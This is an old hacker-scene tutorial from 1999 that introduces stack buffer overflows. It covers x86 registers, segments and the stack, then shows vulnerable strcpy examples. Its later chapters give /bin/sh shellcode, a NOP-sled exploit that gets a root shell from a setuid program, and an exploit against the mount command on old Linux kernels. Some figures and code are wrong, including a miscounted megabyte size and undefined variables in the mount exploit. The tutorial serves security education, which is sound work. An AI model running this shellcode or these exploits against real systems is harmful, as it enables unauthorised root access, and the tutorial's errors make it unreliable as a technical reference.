/* *
* "Introduction to buffer overflows" - for *
* interScape made by airWalk , may 1999 *
* */
Introduction:
-------------*
buffer overflows have always been present. many exploits for different UNIX
systems are based on these overflows. in this article i will present the introduction
to everything one needs to know about buffer overflows: what they are, how they
work, and even how to make simple ones. also, i will concentrate on using C and,of
course,Assembly examples.it is therefore assumed that you know a bit of Assembly and
C in order to understand this tutorial.
Memory and system arhitecture:
------------------------------*
in this section i will explain computer memory structure.the structure is important
if you want to understand buffer overflows.
in increasing order,the data structures(the things in which you store information)
go like this: BIT,NIBBLE,BYTE,WORD,DWORD,PARA,KiloBYTE,MegaBYTE,GigaBYTE and so on.
i will go into each one of them,as they are all important:
one BIT is the smallest memory part in the system.it is represented in binary
(like all other data structures),so it's always 1 or 0(ON or OFF).four BITs make a
NIBBLE. it is made out of four BITs,so it's structure is: 0000(or 0101,etc.).a
good thing to know is that it's largest value is 1111,which is 15,and that is also
the largest value in hexadecimal. a NIBBLE is a half of BYTE. this structure is
probably the most widely used one.almost every output the CPU gives you is represented
in BYTEs.it's largest value is 11111111(255 decimal,or 0FFh in hex). two BYTEs make
a WORD,which has a maximum value of 65,535 bytes(or 0FFFFh,or 1111111111111111).
you use this for 16-bit addressing: registers AX,BX,CX,DX,DI,SI,BP,SP,CS,DS,ES,SS
and IP. there is a DWORD,or a double-WORD data,which is a 32-bit address(maximum)
in a 80386 Intel system arhitecture. PARA(Paragraph) is a term discribing a measure
of memory equal to 16 BYTEs.any memory address that can be evenly divisble by 16 is
called a Paragraph Boundary.the first Paragraph Boundary address is 0,which is
followed with 10h,20h,30h and so on.so you add 10 in hex to each number.remember
that 10h is 16 in decimal. a KiloBYTE is,as the name says,1000 BYTEs.but this isn't
exactly correct: it's exactly 1024 BYTEs.KiloBYTE is also reffered to as K or KB.
this is important,because then MegaBYTE is actually 1,048,578 BYTEs(1024 x 1024).MB
stands for MegaBYTE. next data structure is a GigaBYTE,and this is becoming a standard
for HD(hard disk drive) memory.it's value is 1,073,741,824 BYTEs.
when dealing with 86 family of CPUs,it's a good thing to remember the number 65,536
bytes. this number is circled as 64K(64 KiloBYTEs,10000h in hex),and is a very important
number to remember when programming: this is the single largest number the CPU can take
and store as an integer(whole number).
when we talk about modern computers,the two main working memories are: RAM and ROM.
RAM,or Random Access Memory,is a input-output memory(sometimes called memory with
free access).this allows us to store information in it,and take that information
when we want to use it.once a computer is turned OFF,all data in the RAM memory is
lost forever.basic RAM characteristics are maximum capacity and speed.the capacity
is how much bits the RAM chip can take and store.so,bigger capacity of RAM is better.
modern computers use RAM memory from 2 MB of RAM to about 128 MBs(for normal users
-- servers use much more).work speed is measured in how fast RAM memory can store
and take information.from when you give RAM an address(16 or 32-bit mostly) until
it gets it is called Access Time.with this you measure the RAM speed.
ROM,or Read Only Memory,is an output memory,or memory in which you can store a data
of any kind only once.after the input you can read that information,but you cannot
replace it or delete it.users don't use ROM much,it is being edited by the computer
manufacturer and it's main purpose is storing some valuable information to an Operating
System.that's why ROM memory uses a relatively small capacity(512 KB,or so).there are
three most widely used ROM memory types: PROM,EPROM and EEPROM.
as we are talking about Intel processors(series x86,or 80x86),let's mention what
registers they use.there are four types of registers:
a) AX,BX,CX and DX which are all general purpose registers
b) ES,DS,CS and SS are segment registers
c) SI,DI and BP are index registers
d) IP,SP and F are special cause registers
what are registers you ask? registers are place in computer memory where you store
information,usually a memory address for something.
you can define registers as banks where you keep information for further use.every
CPU has registers.placing a piece of data into memory or into a register isn't the
same.the CPU stores and gets data much faster from registers.also,when the CPU has
to do something really fast,it rather uses the registers than the memory.for example,
if the CPU needs to sum to numbers it will store them into two different registers
and add that two registers together.so,we could say that registers contain only
temorary data.registers are made out of transistors,but rather than having numeric
addresses they have names.
general purpose registers are 16-bit,but can also be torn apart into two 8-bit ones.
AX is AH and AL,BX is BH and BL,CX is CH and CL and DX is DH and DL.the H defines
'Higher part' and the L stands for 'Lower part'.
when you need a 16-bit address you use a whole register for it,and when you need an
8-bit one,you use only one part of the register.also,this arrangement is good because
you can use the part you want to change,without changing the whole register.for
example,we put 76E9h into a general purpose register AX.this means that AX=76E9h,or
AH=76 and AL=0E9h(do not pay attention to 'h' or '0',it's just a hex description).so
if you store '0A' to AL,you'll have an AX=760Ah.also,remember that only general
purpose registers allow you to make these changes and arrangements.
segments and offsets: the thing that messes up your mind.the problem with Intel
family of 8088 and 8086 CPUs is old.when Intel made those chips they enabled the
CPU to see only 1 MB of memory(20-bit address).this was made because they believed
that nobody would ever need bigger memory space.thus,the CPU chips have 20 address
pins and can pass a full 20-bit to the memory system.this is all normal,but with
what we've learned about registers: there are only 16-bit ones for normal use.so,
using only one 16-bit is too small,and using two 16-bit is far too big.so,when you
want to store a 20-bit address into a 16-bit register,you actually use two of them.
the first one is used for the segment address and the second one for the offset
address.so,the full address of a byte in the CPU memory is written in segment:offset.
you must know both addresses in order to get the data out.segment shows us a 64K memory
block,while offset fetches the correct address from that block.we could say that they
work in pairs.i have mentioned earlier Paragraph Boundaries.we can consider any
Paragraph Boundary as a start of a segment.knowing that a boundary has 64K memory,a
segment could start anywhere in that block between 0 and 64K.the segment address defines
where in a 64K block resides the wanted segment.
back to segment and offsets.as i said,the whole address of a byte of data in the memory
is segment:offset(segment is any segment register(CS,DS,ES,SS),while the offset can be
AX,BX,CD,DX,DI,SI,BP,SP and IP).usually,we use DS:SI to describe it.remember that when
calculating the correct address,both the segment and the offset address are switching
over each other.example:
segment address: 0010010000010000----
offset address: ----0100100000100010
20-bit address: 00101000100100100010
remember that the range of the segment is from 0 to 64K * 16.the offset range goes from
0 to 64K,and the whole address can be from 0 to 1MB,depending on the other two addresses.
the formula for the exact address is: 20-bit address: segment address * 16 + offset address.
note that you can access a specific address from different locations.here's an example:
we store some data into a byte called Data.now,there are four ways of accessing it:
0000h:3Dh,0001h:2Dh,0002h:1Dh,0003h:0Dh.0004h 'level' is none of our business for accessing
Data.
(graphical image for this example is included in the ZIP file).
remember the segment registers? now i'm going to describe each one of them:
CS: stands for Code Segment,or CODE_SEG.you cannot change it's content.this register
always contains information(segment) about the program that is currently being executed.
you can only change it's value by jumping of to another register(explained later on).
DS: stands for Data Segment,or DATA_SEG.you can place the segment address for your data
here.
SS: stands for Stack Segment,or STACK_SEG.it's purpose is for the stack.i will explain
what stack is later.for now only know that this register containg the segment address
for the stack.
ES: stands for Extra Segment,or EXTRA_SEG.this is just an extra register,for specifying
a location in memory.
i should also point out the IP register.IP,or the instruction pointer,contains the offset
address of the next machine instruction to be executed.each time an instruction is executed,
IP is incremented by the number of bytes of the size of that instruction.CS contains the
segment address for IP.together CP and IP contain full 20-bit address of the next machine
instruction to be executed. so,remember CS:IP is actually the next instruction.
what is stack? stack is a place in memory reserved for data that you/your program uses.
everything you put into a stack register goes in the order of Last In First Out(LIFO),
which means that the first piece of data you put into the stack is taken out last.stack
is created by two registers.like everything in the 86 enviroment,the stack must exist
within a segment.the Stack Segment register(SS) holds the segment address of the segment
which is chosen to be the stack segment,and the Stack Pointer register(SP) points to the
data locations within the stack segment.
the stack segment begins at SS:0.a truly odd thing here is that when the stack action
happens at the opposite end of the stack segment.so,when a stack is set up,the SS register
points to the base or beginning of the stack segment and the SP register is set to point
to the end of the stack segment.remember that any memory space between SS:0 and SS:SP is
considered free and available to the use of stack.if the stack runs out of free memory,or
you forget to get out all data from the stack,the CPU will 'freeze' in most cases.this is
called a 'stack crash' and is very serious.also,you must/should specify the size of the
stack in your program's code.
when you want to put something on top of the stack you use the mnemonic PUSH (Assembly).
to get something from the top you use POP (Assembly).the CPU uses these functions all the
time.
it is also worth of mentioning the FP, Frame Pointer,which points to a fixed address of the
stack within a frame.also,many compilers use a second register (FP) for referencing
variables and parameters because their distances from FP do not change with PUSH and
POP.BP(Base Pointer) is used for this on Intel CPUs.
when a procedure is called,it must save the previous FP so it can be restored when the
procedure exits/ends.then it copies SP(Stack Pointer) to make space for local veriables.
this is called the procedure prolog.when the procedure exits,the stack must be cleaned
up again.this is called procedure epilog.for Intel processors ENTER and LEAVE do this.
on Motorola LINK and UNLINK is used.
in this example i will PUSH something onto the stack.the example is in C:
---
void someFunction(int a, int b, int c, int d) {
char buffer1[5];
char buffer2[10];
}
void main() {
someFunction(a,b,c,d);
}
---
now,compile this with GCC in Linux:
bash$ gcc -S -o example1.s example1.c
the -S switch is used to generate Assembly code.now,we look at example1.s. this is
the output 'cat' gives us(remember,this is not the whole file):
---
pushl $d
pushl $c
pushl $b
pushl $a
call someFunction
---
remember LIFO? yes,this is the way it works(first d,then c,then b,then a).so this PUSHes
these arguments into the stack and then calls someFunction(). 'call' will push
the IP onto the stack. we will call the saved IP the return address,or RET.the
first thing done in someFunction is the procedure prolog:
---
pushl %ebp
movl %esp, %ebp
subl $20, %esp
---
note: the 'e' in front of BP and SP indicates that they are Extended -- 32-bit.
the first two lines set up the stack frame.that's a standard part of code compiled by any
C compiler.
so,this PUSHes EBP(Extended BP) onto the stack.it then copies the current SP onto
EBP.this makes EBP the new FP pointer(we'll call the saved FP pointer SFP).it then
finds space for variables by substracting their size from FP.
it is very important to understand the workings of registers,segments,offsets and the stack
as these are one of the harder challenges in understanding the workings of buffer overflows.
AT&T Assembly syntax:
---------------------*
before we continue i should just point out some differences between Intel (DOS and WIN) and
AT&T (Unix) Assembly syntax. Unix systems use the AT&T syntax for Assembly programming
language. this syntax is not identical to the one you use under DOS and WIN platforms (that
one is called the Intel syntax). they differ in some things. we could say that under Unix
there is not fixed Assembly interface.most of the times you use C to do things in Assembly.
in C you there is a specific way to put Assembly code. this is a mask of a C program which
has Assembly code in it:
---
{
__asm__(". . .");
}
---
there are also differences in the mnemonics you use. this could confuse Intel programmers.
for example, under Linux you would do 'movl %esp,%ebp', whereas under DOS and WIN (16 & 32)
you would do 'mov ebp, esp'. so, under the AT&T syntax you put the percentage character
('%') in front of the register.'movl' mnemonic indicates that you are copying a long
variable type. you could also use 'movb' for indicating that you are copying a byte
variable type. 'movw' is for word, etc. also, you use the syntax 'mov %src, %dst' under
AT&T, while under Intel syntax you would use 'mov dst, src'.you always put '$' character
in front of the immediate operands. for example: 'push 4' under DOS is actually 'pushl $4'
under Linux.
comments under the AT&T syntax begin with the hash character ('#') while under DOS and
WIN platforms they begin with ';' character.
for getting direct Assembly source code, considering that you have the C source of the
program, you would compile the program using the -S switch with the GNU C Compiler (GCC).
the command for this would be: 'gcc -S -o program.s program.c'. 'program.s' is the
Assembly code output.
i wrote this section so you wouldn't get confused with the examples in this tutorial.
there are other differences as well, but they are not important for this tutorial. now,
let's continue with buffer overflows.
Buffer overflow security:
-------------------------*
a buffer is a part of memory which is reserved for something.a buffer overflow happens when
you put more data into a buffer than it is reserved.
example1:
---
void someFunction(char *str)
{
char buffer[16];
strcpy(buffer, str);
}
void main()
{
char bigString[256];
int i;
for( i = 0; i < 255; i++)
bigString[i] = 'A';
someFunction(bigString);
}
---
note: for strcpy() you need the STRING.H include. strcpy() copies or duplicates one
string to another. also, we could have used some other character (other than 'A') to fill
the buffer out and make an overflow.
if you compile and run this program you will get a 'Segmentation violation' error.
this occurs because strcpy() copies the contents of *str (bigString[]) into buffer[]
until a NULL character is reached in the string.buffer[] is much smaller than *str. it
is 16 bytes long,while *str is 256 bytes long.so we are trying to put 256 bytes into a
string which is 16 bytes long.of course,something must happen with those 250 bytes which
can't fit into buffer[].they are being overwritten.this includes SFP,REG and even the
'source' string *str. we used 'A' characters to fill bigString.it's hex character value
is 0x41.that means the return address is now 0x41414141.this is outside of the process
address space.
so,when you get the 'Segmentation violation'(or 'Segmentation fault') error,that means
that when someFunction() returns and tries to read the next instruction from that address
you get the error because the address is invalid.
basically,a buffer overflow(overrun) allows us to change the RET of a function.this
means that we can change the way the program executes,thus making it do something else,
which is in most cases,giving us root on the system.
if we used strncpy() function in the previous example this would have not happened.
this is because strcpy() doesn't do boundary checking when executing.strncpy(),on the
other hand,checks the length of variables which are being copied,and then copies just
the characters which can go into the other string without making a violation.it does
not copy the whole string into another.
strcpy() isn't the only function which can be used to make a buffer overflow.there
is strcat(), sprintf(), vsprintf(), gets() and even a while() loop.scanf() can also
be a problem if not used correctly.
buffer overflows are almost always used on programs which have root or administrative
ID.those programs have setuid 0.
example2:
---
void main(int argc, char **argv, char **envp)
{
char varS[1024];
strcpy(varS,getenv("varT"));
}
---
note: again, using strncpy() would 'solve' the problem.
so,we copied 'varT' to variable 'varS' which has a 1024 limit.now we do the following:
$ export varT="01234567890123456789012345678901234567890123456789012345678
90123456789012345678901234567890123456789012345678901234567890123456789012
34567890123456789012345678901234567890123456789012345678901234567890123456
78901234567890123456789012345678901234567890123456789012345678901234567890
12345678901234567890123456789012345678901234567890123456789012345678901234
56789012345678901234567890123456789012345678901234567890123456789012345678
90123456789012345678901234567890123456789012345678901234567890123456789012
34567890123456789012345678901234567890123456789012345678901234567890123456
78901234567890123456789012345678901234567890123456789012345678901234567890
12345678901234567890123456789012345678901234567890123456789012345678901234
56789012345678901234567890123456789012345678901234567890123456789012345678
90123456789012345678901234567890123456789012345678901234567890123456789012
34567890123456789012345678901234567890123456789012345678901234567890123456
78901234567890123456789012345678901234567890123456789012345678901234567890
123456789"
then we run the compiled program:
$ ./example2
Segmentation fault
again,we look at the Assembly code:
---
pushl %ebp
movl %esp,%ebp
subl $1024,%esp
---
the third line is important: allocating space for variable 'varS'.so,these two examples
show buffer overflowing.but what can we get from this? the next chapter talks about this:
Getting root with buffer overflows:
-----------------------------------*
in this chapter i will talk only about example2 of making a buffer overflow.
first off,we run GDB(GNU symbolic debugger) on our example2 program.
$ gdb example2
the output is this(again,this is not the whole output):
---
Breakpoint 1, 0x80004e9 in main ()
(gdb) disassemble
Dump of assembler code for function main:
0x80004e0 <main>: pushl %ebp
0x80004e1 <main+1>: movl %esp,%ebp
0x80004e3 <main+3>: subl $0x400,%esp
0x80004e9 <main+9>: pushl $0x8000548
0x80004ee <main+14>: call 0x80003d8 <getenv>
0x80004f3 <main+19>: addl $0x4,%esp
0x80004f6 <main+22>: movl %eax,%eax
0x80004f8 <main+24>: pushl %eax
0x80004f9 <main+25>: leal 0xfffffc00(%ebp),%eax
0x80004ff <main+31>: pushl %eax
0x8000500 <main+32>: call 0x80003c8 <strcpy>
0x8000505 <main+37>: addl $0x8,%esp
0x8000508 <main+40>: movl %ebp,%esp
0x800050a <main+42>: popl %ebp
0x800050b <main+43>: ret
0x800050c <main+44>: nop
0x800050d <main+45>: nop
0x800050e <main+46>: nop
0x800050f <main+47>: nop
End of assembler dump.
(gdb) break *0x800050b
Breakpoint 2 at 0x800050b
(gdb) cont
Continuing.
Breakpoint 2, 0x800050b in main ()
(gdb) stepi
0x37363534 in __fpu_control ()
(gdb) stepi
Program received signal SIGSEGV, Segmentation fault.
0x37363534 in __fpu_control ()
(gdb)
---
we disassembled the program and got the Assembly code.
here is the segmentation fault.this happens because there is no code to execute at address
0x3763534.now,let's have a look at the stack for this example2:
---
Breakpoint 1, 0x80004e9 in main ()
(gdb) info registers
eax 0x0 0
ecx 0xc 12
edx 0x0 0
ebx 0x0 0
esp 0xbffff800 0xbffff800
ebp 0xbffffc04 0xbffffc04
esi 0x50000000 1342177280
edi 0x50001df0 1342184944
eip 0x80004ee 0x80004ee
ps 0x382 898
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
(gdb) x/5xw 0xbffffc04
0xbffffc04 <__fpu_control+3087001064>: 0xbffff8e8 0x08000495
0x00000001 0xbffffc18
0xbffffc14 <__fpu_control+3087001080>: 0xbffffc20
(gdb)
---
0xbffff8e8 is the value of EBP before it was PUSHed onto the stack.0x08000495 is the RET.
0x00000001 is argc, 0xbffffc18 is argv and 0xbffffc20 is envp.so,when we copy 1024 + 8
bytes we overwrite the RET address and make it jump back to our code,which does something
radical (like execute a shell or something similar).basically NOP in GDB output means
that those bytes are being overwritten.if we set 'varT' variable to a lot of NOPs,some
code to execute something(like a shell -- giving us access to root) and a RET address,when
the code gets to RET it will return to the NOPs we put in and continue down on the code
which will do something we want.anyways,NOPs are almost always used when filling up the
buffer.first,we have to figure out what the return address should be.we will use 0xbffff804
in this example.now,based around what i just said about 'varT',we can make an exploit for
our example2 program:
---
long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}
char *shellcode =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
/* this is how we execute the shell. */
char varS[1034];
int i;
char *varS1;
#define STACKFRAME (0xc00 - 0x818)
void main(int argc,char **argv,char **envp)
{
strcpy(varS,"varT=");
varS1 = varS+5;
while (varS1<varS+1028+5-strlen(shellcode)) *(varS1++)=0x90;
while (*shellcode) *(varS1++)=*(shellcode++);
*((unsigned long *)varS1)=get_esp()+16-1028-STACKFRAME;
printf("%08X\n",*((long *)varS1));
varS1+=4;
*varS1=0;
putenv(varS);
system("bash");
}
---
note: system() needs STDLIB.H include.
first we have to copy 'varT=' into a string.then we put unnecessary NOPs into the
varS variable and add the egg (shellcode) to the end of the variable and then add the
RET address. then we call putenv() to set the variable and execute a shell.'get_esp'
routine gets the current value of ESP.
note: 'the egg' is a floating piece of code which executes a shell. i named it
'shellcode'.
let's compile and run our exploit1.
$ ./exploit1
BFFFF418
bash$ ./example2
bash#
it's obvious that we got a root bash shell.this is because example2 has root permissions
and has a system identification number 0 or 1. basically, the program must have the SUID
flag and must be owned by root.
when making buffer overflow exploits one must be careful about the STACKFRAME define.here
is a little program which will print out the value of ESP before the stack frame is set up:
---
long getesp()
{
__asm__("movl %esp,%eax");
}
void main()
{
printf("%08X\n",getesp()+4);
}
---
by executing this program we get the ESP value which we can put into our exploit,under the
define STACKFRAME part.
Example exploit:
----------------*
this is an example exploit for making buffer overflows for Linux (kernel version 2.0.10
and older). it is from 1996 (old but efficient).
exploit2:
---
long get_sp()
{
__asm__("movl %esp, %eax");
}
main(int argc, char **argv)
{
char shellcode[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
/* this is how we execute the shell. */
char buffer[lv_size+4*8];
unsigned long *ptr2 = NULL;
char *ptr = NULL;
int i;
for(i=0;i<lv_size+4*8;i++)
buffer[i]=0x00;
ptr=buffer;
for(i=0;i<lv_size-strlen(shellcode);i++)
*(ptr++)=0x90;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode[i];
ptr2=(long *)ptr;
for(i=1;i<2;i++)
*(ptr2++)=get_sp()+offset;
printf("Linux < 2.0.10 mount exploit\n");
(void)alarm((int)0);
execl("/bin/mount", "mount", buffer, NULL); /* execute the mount and do a *
/* buffer overflow on it. */
}
---
remember that mount has root permissions and thus can be exploited.
Conclusion:
-----------*
buffer overflows are a serious threat,for which currently there is no 'patch'.the
programmer should always watch carefully.there are many exploits based around buffer
overflows.for example Sendmail 8.7.5,syslog, Linux/FreeBSD mount problem,Digital Unix
4.0 overflows, Xt library,etc.basically,the programmer should always think ahead and
should try to do bounds checking if, in any way, possible.
Disclaimer:
-----------*
we prohibit hacking,phreaking & such criminal activities. all information found here
does not, in any way,connect to crime. this text is meant for people to learn and be
aware of security. if you try anything that's considered illegal with the information
found in this text you will be to blame yourself,we cannot be blamed for other people's
actions. remember that security is very important and thus should not be neglected by
the people holding the strings.
/* *
* "Introduction to buffer overflows" - for *
* interScape made by airWalk , may 1999 *
* *
* Copyright © 1999 by interScape Security Resources *
* *
* E n d O f F i l e *
* */